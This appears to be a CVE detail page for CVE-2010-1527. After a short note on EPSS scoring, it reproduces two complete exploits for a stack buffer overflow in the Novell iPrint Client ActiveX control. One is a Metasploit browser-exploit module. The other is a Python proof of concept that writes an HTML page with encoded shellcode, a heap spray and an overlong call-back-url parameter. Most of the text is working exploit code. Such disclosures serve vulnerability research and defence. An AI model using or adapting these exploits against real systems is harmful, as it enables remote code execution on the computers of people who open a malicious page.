CVE-2010-1527 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: novelliprint_callbackurl.rb 10429 2010-09-21 18:46:29Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # novelliprint_callbackurl.rb # # Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework # # Exploit successfully tested on the following platforms: # - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3 # - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2 # # ienipp.ocx version tested: # File Version: 5.4.0.0 and 5.4.2.0 # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C # RegKey Safe for Script: True # RegKey Safe for Init: True # KillBitSet: False # # References: # - CVE-2010-1527 # - OSVDB 67411 # - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research # - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit # - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis # - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42. When sending an overly long string to the 'call-back-url' parameter in an op-client-interface-version action of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer <mtrancer[at]gmail.com' ], 'Version' => '$Revision: 10429 $', 'References' => [ [ 'CVE', '2010-1527' ], [ 'OSVDB', '67411'], [ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research [ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19 ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Aug 20 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = [target.ret].pack('V') ret = ret * 250 blocksize = 0x40000 fillto = 500 offset = target['Offset'] # ActiveX parameters clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C" # Randomize the javascript variable names ienipp = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <script> var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape('#{nops}'); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}); var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace}); while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; var #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; } </script> <object classid='clsid:#{clsid}' id='#{ienipp}'> <param name='operation' value='op-client-interface-version' /> <param name='result-type' value='url' /> <param name='call-back-url' value='#{ret}' /> </object> </html>| print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end

''' __ __ ____ _ _ ____ | \/ |/ __ \ /\ | | | | _ \ | \ / | | | | / \ | | | | |_) | | |\/| | | | |/ /\ \| | | | _ < | | | | |__| / ____ \ |__| | |_) | |_| |_|\____/_/ \_\____/|____/ Title : Novell iPrint Client Browser Plugin call-back-url stack overflow Version : iPrint Client plugin v5.42 (XP SP3) Analysis : http://www.abysssec.com Vendor : http://www.novell.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-1527 http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ ''' import sys; #calc.exe shellcode temp = """<script> shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; while(nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; </script> <object ID='target' classid='clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c'> <param name='operation' value='op-client-interface-version' /> <param name='result-type' value='url' /> <param name='call-back-url' value=' """ i=0 while(i<1000): temp = temp + "\x0a"; i=i+1 temp = temp + """' /> </object> """ htmlFile = open("call-back-url.html","w") htmlFile.write(temp) htmlFile.close()